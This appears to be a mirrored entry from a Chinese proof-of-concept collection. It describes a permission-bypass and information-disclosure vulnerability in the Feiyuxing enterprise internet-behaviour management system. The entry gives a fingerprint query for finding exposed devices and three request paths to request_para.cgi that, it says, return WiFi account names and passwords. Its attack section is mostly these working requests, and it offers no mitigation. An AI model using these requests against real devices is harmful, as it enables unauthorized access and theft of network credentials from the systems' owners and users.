mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 20:36:14 +00:00
39 lines
786 B
Markdown
39 lines
786 B
Markdown
|
# 飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞
|
||
|
|
|
||
|
|
## 漏洞描述
|
||
|
|
|
||
|
|
飞鱼星 企业级智能上网行为管理系统 存在权限绕过以及信息泄露漏洞，可以获取管理员权限以及用户密码
|
||
|
|
|
||
|
|
## 漏洞影响
|
||
|
|
|
||
|
|
```
|
||
|
|
飞鱼星 企业级智能上网行为管理系统
|
||
|
|
```
|
||
|
|
|
||
|
|
## 网络测绘
|
||
|
|
|
||
|
|
```
|
||
|
|
title="飞鱼星企业级智能上网行为管理系统"
|
||
|
|
```
|
||
|
|
|
||
|
|
## 漏洞复现
|
||
|
|
|
||
|
|
权限绕过参考上一篇 **飞鱼星 家用智能路由 cookie.cgi 权限绕过**
|
||
|
|
|
||
|
|
信息泄露POC
|
||
|
|
|
||
|
|
```plain
|
||
|
|
/request_para.cgi?parameter=wifi_info #获取ALL WIFI账号密码
|
||
|
|
/request_para.cgi?parameter=wifi_get_5g_host #获取5GWIFI账号密码
|
||
|
|
/request_para.cgi?parameter=wifi_get_2g_host #获取2GWIFI账号密码
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|